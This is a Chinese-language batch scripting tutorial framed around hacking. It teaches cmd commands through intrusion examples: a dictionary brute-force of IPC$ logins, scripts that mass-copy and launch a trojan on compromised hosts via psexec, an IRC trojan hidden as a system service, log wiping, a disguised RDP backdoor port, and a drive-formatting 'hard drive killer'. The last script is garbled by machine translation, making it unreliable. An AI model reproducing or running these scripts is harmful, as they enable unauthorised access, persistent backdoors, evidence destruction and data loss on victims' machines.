

批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用 Cmd.exe 按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

一. 简单批处理内部命令简介

1. Echo 命令

打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。

语法

```
echo [{on|off}] [message]
```

```
Sample: @echo off / echo hello world
```

在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用 > >> ^）结合来实现输入一些命令到特定格式的文件中. 这将在以后的例子中体现出来。

2. @ 命令

表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。

```
Sample: @echo off
```

```
@echo Now initializing the program, please wait a minite...
```

```
@format X: /q/u/autoset (format 这个命令是不可以使用/y 这个参数的，可喜的是微软留了个 autoset 这个参数给我们，效果和/y 是一样的。)
```

3. Goto 命令

指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。

语法: goto label （label 是参数，指定所要转向的批处理程序中的行。）

Sample:

```
if {%1}=={} goto noparms
```

```
if {%2}=={} goto noparms (如果这里的 if、%1、%2 你不明白的话，先跳过去，后面会有详细的解释。)
```

```
@Rem check parameters if null show usage
```

```
:noparms
```

```
echo Usage: monitor.bat ServerIP PortNumber
```

```
goto end
```

标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个: 用来表示这个字母是标签，goto 命令就是根据这个: 来寻找下一步跳到的那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4. Rem 命令

注释命令，在 C 语言中相当与 /*-----*/，它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。

Rem Message

Sample: @Rem Here is the description.

5. Pause 命令

运行 Pause 命令时，将显示下面的消息：

Press any key to continue . . .

Sample:

```
@echo off
```

```
:begin
```

```
copy a:*. * d: back
```

```
echo Please put a new disk into driver A
```

```
pause
```

```
goto begin
```

在这个例子中，驱动器 A 中磁盘上的所有文件均复制到 d:back 中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按我恹 缘 恹？

6. Call 命令

从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。

语法

```
call [Drive:][Path] FileName [BatchParameters] [:label [arguments]
```

参数

```
[Drive:][Path] FileName
```

指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7. start 命令

调用外部程序，所有的 DOS 命令和命令行程序都可以由 start 命令来调用。

入侵常用参数：

MIN 开始时窗口最小化

SEPARATE 在分开的空间内开始 16 位 [Windows](#) 程序

HIGH 在 HIGH 优先级类别开始应用程序

REALTIME 在 REALTIME 优先级类别开始应用程序

WAIT 启动应用程序并等候它结束

parameters 这些为传送到命令/程序的参数

执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。

如果在命令脚本内执行，该新行为则不会发生。

8. choice 命令

choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为 1234……

如: choice /c:dme defrag,mem,end

将显示

defrag,mem,end[D,M,E]?

Sample:

Sample.bat 的内容如下：

```

@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
if errorlevel 2 goto mem
if errorlevel 1 goto end
: defrag
c: dosdefrag
goto end
: mem
mem
goto end
: end
echo good bye

```

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择 d m e，然后 if 语句将作出判断，d 表示执行标号为 defrag 的程序段，m 表示执行标号为 mem 的程序段，e 表示执行标号为 end 的程序段，每个程序段最后都以 goto end 将程序跳到 end 标号处，然后程序将显示 good bye，文件结束。

9. If 命令

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。有三种格式：

1、if “参数” == “字符串” 待执行的命令

参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。（注意是两个等号）

如 if "%1"=="a" format a:

```
if {%1}=={} goto noparms
```

```
if {%2}=={} goto noparms
```

2、if exist 文件名 待执行的命令

如果有指定的文件，则条件成立，运行命令，否则运行下一句。

如 if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字 待执行的命令

如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。

如 if errorlevel 2 goto x2

DOS 程序运行时都会返回一个数字给 DOS，称为错误码 errorlevel 或称返回码，常见的返回码为 0、1。

10. for 命令

for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。

在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

```
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
```

%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters 为特定命令指定参数或命令行开关。

在批处理文件中使用 FOR 命令时, 指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的, 所以 %i 不同于 %I

如果命令扩展名被启用, 下列额外的 FOR 命令格式会受到支持:

```
FOR /D %variable IN (set) DO command [command-parameters]
```

如果集中包含通配符, 则指定与目录名匹配, 而不与文件名匹配。

```
FOR /R [drive:]path %variable IN (set) DO command [command-
```

检查以 [drive:]path 为根的目录树, 指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录, 则使用当前目录。如果集仅为一个单点(.)字符, 则枚举该目录树。

```
FOR /L %variable IN (start,step,end) DO command [command-para
```

该集表示以增量形式从开始到结束的一个数字序列。

因此, (1,1,5) 将产生序列 1 2 3 4 5, (5,-1,1) 将产生

序列 (5 4 3 2 1)。

```
FOR /F ["options"] %variable IN (file-set) DO command
```

```
FOR /F ["options"] %variable IN ("string") DO command
```

```
FOR /F ["options"] %variable IN ('command') DO command
```

或者, 如果有 usebackq 选项:

```
FOR /F ["options"] %variable IN (file-set) DO command
```

```
FOR /F ["options"] %variable IN ("string") DO command
```

```
FOR /F ["options"] %variable IN ('command') DO command
```

filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前，每份文件都已被打开、读取并经过处理。处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为：

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x, y, m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号，那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。

usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称。

sample1:

```
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
```

会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明，%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或 'Z' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。

最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子：

```
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
```

会枚举当前环境中的环境变量名称。

另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法：

~I - 删除任何引号(")，扩充 %I

%~fI - 将 %I 扩充到一个完全合格的路径名

%~dI - 仅将 %I 扩充到一个驱动器号

%~pI - 仅将 %I 扩充到一个路径

%~nI - 仅将 %I 扩充到一个文件名

%~xI - 仅将 %I 扩充到一个文件扩展名

%~sI - 扩充的路径只含有短名

%~aI - 将 %I 扩充到文件的文件属性

%~tI - 将 %I 扩充到文件的日期/时间

%~zI - 将 %I 扩充到文件的大小

%~\$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。

如果环境变量未被定义，或者没有找到文件，此组合键会扩充空字符串

可以组合修饰符来得到多重结果：

%~dpI - 仅将 %I 扩充到一个驱动器号和路径

%~nxI - 仅将 %I 扩充到一个文件名和扩展名

%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名

%~dp\$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。

%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。

以上是 MS 的官方帮助，下面我们举几个例子来具体说明一下 For 命令在入侵中的用途。

sample2:

利用 For 命令来实现对一台目标 Win2k 主机的暴力密码破解。

我们用 net use \ipipc\$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。

最主要的命令是一条：for /f i% in (dict.txt) do net use \ipipc\$ "i%" /u:"administrator"

用 i%来表示 admin 的密码，在 dict.txt 中这个取 i%的值用 net use 命令来连接。然后将程序运行结果传递给 find 命令——

for /f i% in (dict.txt) do net use \ipipc\$ "i%" /u:"administrator"|find ":命令成功完成">>D:ok.txt ，这样就 ko 了。

sample3:

你有没有过手里有大量肉鸡等着你去种后门+木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。

主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）

@for /f "tokens=1,2,3 delims=" %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens 的用法请参见上面的 sample1，在这里它表示按顺序将 victim.txt 中的内容传递给 door.bat 中的参数%i %j %k。

而 cultivate.bat 无非就是用 net use 命令来建立 IPC\$连接，并 copy 木马+后门到 victim，然后用返回码（If errorlevel =）来筛选成功种植后门的主机，并 echo 出来，或者 echo 到指定的文件。

delims= 表示 vivtim.txt 中的内容是一空格来分隔的。我想看到这里你也一定明白这 victim.txt 里的内容是什么样的了。应该根据%i %j %%k 表示的对象来排列，一般就是 ip password

username。

代码雏形:

----- cut here then save as a batchfile(I call it main.bat)

@echo off

@if "%1"==" " goto usage

@for /f "tokens=1,2,3 delims= " %i in (victim.txt) do start call

IPChack.bat %i %j %k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

----- cut here then save as a batchfile(I call it main.bat)

----- cut here then save as a batchfile(I call it door.bat)

@net use \%1ipc\$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC\$ connectionOK

@copy windrv32.exe \%1admin\$system32 && if not errorlevel 1 echo IP %1 USER %2

PWD %3 >>ko.txt

@psexec \%1 c:winntsystem32windrv32.exe

@psexec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

----- cut here then save as a batchfile(I call it door.bat)

这只是一个自动种植后门批处理的雏形，两个批处理和后门程序

(Windrv32.exe)，PSEXEC.exe 需放在统一目录下. 批处理内容

尚可扩展, 例如: 加入清除日志+DDOS 的功能, 加入定时添加用户的功能, 更深入一点可以使之具备自动传播功能(蠕虫). 此处不多做叙述, 有兴趣的朋友可自行研究.

二. 如何在批处理文件中使用参数

批处理中可以使用参数，一般从 1%到 9%这九个，当有多个参数时需要用 shift 来移动，这种情况并不多见，我们就不考虑它了。

```
sample1: fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
```

这个例子用于连续地格式化几张软盘，所以用的时候需在 dos 窗口输入 fomat.bat a，呵呵，好像有点画蛇添足了～^_～

sample2:

当我们要建立一个 IPC\$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地 ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。

```
@echo off
@net use \\%1ipc$ "%2" /u:"%3" 注意哦，这里 PASSWORD 是第二个参数。
@if errorlevel 1 echo connection failed
怎么样, 使用参数还是比较简单的吧？你这么帅一定学会了^_~.
```

三. 如何使用组合命令(Compound Command)

1. &

Usage: 第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令，而不管命令是否执行成功

Sample:

```
C:>dir z: & dir c:Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
```

2. &&

Usage: 第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；

Sample:

```
C:>dir z: && dir c:Ex4rch
```

The system cannot find the path specified.

```
C:>dir c:Ex4rch && dir z:
```

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:Ex4rch

2002-05-14 23:55 <DIR> .

2002-05-14 23:55 <DIR> ..

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单，如：

```
dir file://192.168.0.1/database/backup.mdb &&
```

```
copyfile://192.168.0.1/database/backup.mdb E:backup
```

如果远程[服务器](#)上存在 backup.mdb 文件，就执行 copy 命令，若不存在该文件则不执行 copy 命令。这种用法可以替换 IF exist 了：)

3. ||

Usage: 第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

Sample:

```
C:Ex4rch>dir sometips.gif || del sometips.gif
```

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of C:Ex4rch

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free

组合命令使用的例子：

sample:

```
@copy trojan.exe \%ladmin$system32 && if not errorlevel 1 echo IP %1 USER %2
```

```
PASS %3 >>victim.txt
```

四、管道命令的使用

1. | 命令

Usage: 第一条命令 | 第二条命令 [| 第三条命令...]

将第一条命令的结果作为第二条命令的参数来使用, 记得在 unix 中这种方式很常见。

sample:

```
time /t>>D:IP.log
```

```
netstat -n -p tcp|find ":3389">>D:IP.log
```

```
start Explorer
```

看出来了吗? 用于终端服务允许我们为用户自定义起始的程序, 来实现让用户运行下面这个 bat, 以获得登录用户的 IP。

2. >、>>输出重定向命令

将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于, >会清除原有文件中的内容后写入指定文件, 而>>只会追加内容到指定文件中, 而不会改动其中的内容。

sample1:

```
echo hello world>c:hello.txt (stupid example?)
```

sample2:

时下 DLL 木马盛行, 我们知道 system32 是个捉迷藏的好地方, 许多木马都削尖了脑袋往那里钻, DLL 马也不例外, 针对这一点我们可以在安装好系统和必要的应用程序后, 对该目录下的 EXE 和 DLL 文件作一个记录:

运行 CMD--转换目录到 system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

这样所有的 EXE 和 DLL 文件的名称都被分别记录到 exeback.txt 和 dllback.txt 中,

日后如发现异常但用传统的方法查不出问题时, 则要考虑是不是系统中已经潜入 DLL 木马了.

这时我们用同样的命令将 system32 下的 EXE 和 DLL 文件记录到另外的 exeback1.txt 和 dllback1.txt 中, 然后运行:

```
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt
```

```
dllback1.txt>diff.txt.
```

 (用 FC 命令比较前后两次的 DLL 和 EXE 文件, 并将结果输入到 diff.txt 中), 这样我们就能发现一些多出来的 DLL 和 EXE 文件, 然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被 DLL 木马光顾了。没有是最好, 如果有的话也不要直接 DEL 掉, 先用 regsvr32 /u trojan.dll 将后门 DLL 文件注销掉, 再把它移到回收站里, 若系统没有异常反映再将其彻底删除或者提交给杀毒软件公司。

3. <、>&、<&

< 从文件中而不是从键盘中读入命令输入。

>& 将一个句柄的输出写入到另一个句柄的输入中。

<& 从一个句柄读取输入并将其写入到另一个句柄输出中。

这些并不常用, 也就不多做介绍。

五. 如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除 Run 下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用 .REG 文件来操作注册表。(我们可以用批处理来生成一个 REG 文件)

关于注册表的操作,常见的是创建、修改、删除。

1. 创建

创建分为两种,一种是创建子项(Subkey)

我们创建一个文件,内容如下:

```
Windows Registry Editor Version 5.00
```

```
[HKEY_LOCAL_MACHINESOFTWAREMicrosoft\hacker]
```

然后执行该脚本,你就已经在 HKEY_LOCAL_MACHINESOFTWAREMicrosoft 下创建了一个名字为“hacker”的子项。

另一种是创建一个项目名称

那种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

```
Windows Registry Editor Version 5.00
```

```
[HKEY_LOCAL_MACHINESOFTWAREMicrosoft\Windows\CurrentVersion\Run]
```

```
"Invader"="Ex4rch"
```

```
"Door"=C:\WINNT\system32\door.exe
```

```
"Autodos"=dword:02
```

这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoft\Windows\CurrentVersion\Run]下

新建了:Invader、door、about 这三个项目

Invader 的类型是“String Value”

door 的类型是“REG_SZ Value”

Autodos 的类型是“DWORD Value”

2. 修改

修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

3. 删除

我们首先来说删除一个项目名称,我们创建一个如下的文件:

```
Windows Registry Editor Version 5.00
```

```
[HKEY_LOCAL_MACHINESOFTWAREMicrosoft\Windows\CurrentVersion\Run]
```

```
"Ex4rch"=-
```

执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoft\Windows\CurrentVersion\Run]下的“Ex4rch”就被删除了;

我们再看看删除一个子项,我们创建一个如下的脚本:

```
Windows Registry Editor Version 5.00
```

```
[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
```

执行该脚本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] 就已经被删除了。

相信看到这里，.reg 文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg 文件了，记得我们前面说到的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如下注册表文件

Windows Registry Editor Version 5.00

```
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
```

```
"Invader"="Ex4rch"
```

```
"door"=hex:255
```

```
"Autodos"=dword:000000128
```

只需要这样:

```
@echo Windows Registry Editor Version 5.00>>Sample.reg
```

```
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg
```

```
@echo "Invader"="Ex4rch">>Sample.reg
```

```
@echo "door"=5>>C:\WINNT\system32\door.exe>>Sample.reg
```

```
@echo "Autodos"=dword:02>>Sample.reg
```

samlpe2:

我们现在在使用一些比较老的木马时,可能会在注册表的

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对[安全](#)一些.下面以配置好地 IRC 木马 DSNX 为例(名为 windrv32.exe)

```
@start windrv32.exe
```

```
@attrib +h +r windrv32.exe
```

```
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll
```

```
@echo "windsnx"="->>patch.dll
```

```
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver  
binpath= c:\winnt\system32\windrv32.exe
```

```
@regedit /s patch.dll
```

```
@delete patch.dll
```

@REM [删除 DSNXDE 在注册表中的启动项,用 sc.exe 将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并 config 为自启动]

@REM 这样不是更[安全](#)^.^.

六.精彩实例放送

1. 删除 win2k/xp 系统默认共享的批处理

----- cut here then save as .bat or .cmd file

```

@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off

:Rem check parameters if null show usage.
if {%1}=={} goto :Usage

:Rem code start.
echo.
echo -----
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo -----
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>>
c:delshare.reg
echo "AutoShareWks"=dword:00000000>> c:delshare.reg
echo "AutoShareServer"=dword:00000000>> c:delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:delshare.reg
echo Deleting the temprotarily files.
del c:delshare.reg
goto :END

```

```

:Usage
echo.
echo -----
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author: Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error: Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance, to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the diskable is not as C: D: E: , Please chang it youself.
echo.
echo example:
echo If locak diskable are C: D: E: X: Y: Z: , you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo -----
goto :EOF
:END
echo.
echo -----
echo.
echo OK, delshare.bat has deleted all the share you assigned.
echo. Any questions , feel free to mail toEx4rch@hotmail.com.
echo
echo.
echo -----
echo.
:EOF
echo end of the batch file
----- cut here then save as .bat or .cmd file
-----

```

2. 全面加固系统（给肉鸡打补丁）的批处理文件

----- cut here then save as .bat or .cmd file

```
-----
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]
@echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]
@echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
```

----- cut here then save as .bat or .cmd file

下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的 terminal service 留跳后路。

```
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*. * /f /q
@del c:\winnt\system32\logfiles\w3svc2\*. * /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32\dtclog\*. * /f /q
@del c:\winnt\*.txt /f /q
```

```

@del c:winnt*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]

@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWdsrdpwdTdstcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch
.dll
@echo
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll
@echo
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermService] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe
@REM [修改 3389 连接，端口为 8210(十六进制为 00002012)，名称为 Microsoft EventLog，
留条后路]

```


3. Hard 驱动杀手 Pro 版本 4.0 (玩批处理到这个水平真的不容易了。)

```
-----一切,然后保存.bat 或.CMD 文件-----

@ off echo 正在
REM 此程序,以一个非常特殊的人,不 dedicated 希望被命名为
: 启动
CLS
呼应程序加载,请稍候。。。
呼叫 ATTRIB-R-HC: AUTOEXEC.BAT> NUL
回声@ ECHO OFF> C: AUTOEXEC.BAT 的
回声调用格式的 c: / Q /u/ autoSample 的> NUL >> C: AUTOEXEC.BAT
调用 ATTRIB + R + HC: AUTOEXEC.BAT> NUL
REM 驱动检查和有效的驱动器分配的驱动变量。
设置驱动器
集 alldrive = cdefghijklmnopqrstuvw XYZ
REM 代码插入驱动器检查在这里发生。
REM drivechk.bat 是根目录下的文件名。
REM 至于驱动器检测和驱动变量的设置,不用担心它如何
物权工程,这是 D * AMN 到
除汤姆 Lavedas 平均甚至专家批程序员。REM 复杂。
回音@ ECHO OFF> drivechk.bat
回声提示%%COMSPEC%%/ F / C %%%1: $ b 找到“VOL”> NUL> {T} 蝙蝠。
%COMSPEC%/ E 2048 / C {T}: 蝙蝠>> drivechk.bat
。DEL {T} 蝙蝠
回声 IF ERRORLEVEL 1 页转到 enddc >> drivechk.bat
CLS
呼应程序加载,请稍候。。。
REM ERRORLEVEL 为 1 时,然后上面是不是真的,如果是 0,那么它的真实。
物权二元规则相反。如果为 0,它会 elaps 到下一个命令。
回声,提示%%COMSPEC%%/ F /cDIR%%1:。/广告/ W /-P $ B “字节”> NUL> {T}
蝙蝠。

%COMSPEC%/ E 2048 / C {T}: 蝙蝠>> drivechk.bat
。DEL {T} 蝙蝠
回声 IF ERRORLEVEL 1 页转到 enddc >> drivechk.bat
CLS
呼应程序加载,请稍候。。。
REM 如果 ERRORLEVEL 为 1,然后在指定的驱动器是一个可移动的介质驱动器-
如果 ERRORLEVEL 为 0,那么它会 elaps 到下一个命令。没有准备好物。
回音@提示符 DIR%%1: / /广告/ W -P $ B 找到“0 字节”> NUL> {T} 蝙蝠。
%COMSPEC%/ E: 2048 / C {T} 蝙蝠>> drivechk.bat
德尔 {T}。蝙蝠
回声 IF ERRORLEVEL 1 套驱动器驱动器=%%%%1 >> drivechk.bat
```

CLS

呼应程序加载，请稍候。。。

物，如果是 ERRORLEVEL 1，然后在指定的驱动器是硬盘或软盘驱动器。

物，如果它不 ERRORLEVEL 1，然后在指定的驱动器是 CD-ROM 驱动器。

回声：enddc >> drivechk.bat

REM 驱动器检查插入到此结束。“enddc”代表“结束 dDRIVE 检查”。

REM 现在，我们将使用的程序 drivechk.bat 达到有效的驱动器信息。

: Sampledrv

%在(%alldrive%)的呼叫 drivechk.bat%%> NUL

德尔 drivechk.bat> NUL

%的驱动器。==。设置驱动器= C

form_del

